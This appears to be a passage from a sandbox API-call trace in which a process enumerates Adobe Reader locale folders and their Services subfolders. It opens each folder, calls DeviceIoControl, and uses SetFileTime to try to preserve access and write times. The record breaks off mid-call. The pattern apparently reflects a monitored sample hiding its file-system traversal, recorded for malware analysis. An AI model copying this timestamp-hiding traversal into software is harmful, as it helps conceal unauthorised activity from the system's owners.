[0251.398] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.398] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.398] GetLastError () returned 0x12 [0251.398] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.398] GetLastError () returned 0x12 [0251.398] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.398] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.399] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.399] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.399] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.401] GetLastError () returned 0x12 [0251.401] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.401] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.402] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.402] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.402] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.402] GetLastError () returned 0x12 [0251.402] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.402] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.402] GetLastError () returned 0x12 [0251.402] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.402] GetLastError () returned 0x12 [0251.402] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.403] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.403] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.403] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.405] GetLastError () returned 0x12 [0251.405] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.405] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.406] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.406] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.406] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.406] GetLastError () returned 0x12 [0251.406] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.406] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.406] GetLastError () returned 0x12 [0251.406] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.407] GetLastError () returned 0x12 [0251.407] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.407] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.407] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.407] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.409] GetLastError () returned 0x12 [0251.409] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.409] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.410] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.410] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.410] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.410] GetLastError () returned 0x12 [0251.410] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.410] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.410] GetLastError () returned 0x12 [0251.410] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.410] GetLastError () returned 0x12 [0251.410] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.411] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.411] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.411] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.413] GetLastError () returned 0x12 [0251.413] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.413] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.413] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.413] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.413] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.413] GetLastError () returned 0x12 [0251.413] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.414] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.414] GetLastError () returned 0x12 [0251.414] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.414] GetLastError () returned 0x12 [0251.414] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.414] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.415] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.415] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.415] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.419] GetLastError () returned 0x12 [0251.419] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.419] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.421] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.421] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.421] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.422] GetLastError () returned 0x12 [0251.422] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.422] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.422] GetLastError () returned 0x12 [0251.422] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.422] GetLastError () returned 0x12 [0251.422] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.423] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.423] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.423] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.424] GetLastError () returned 0x12 [0251.424] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.425] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, 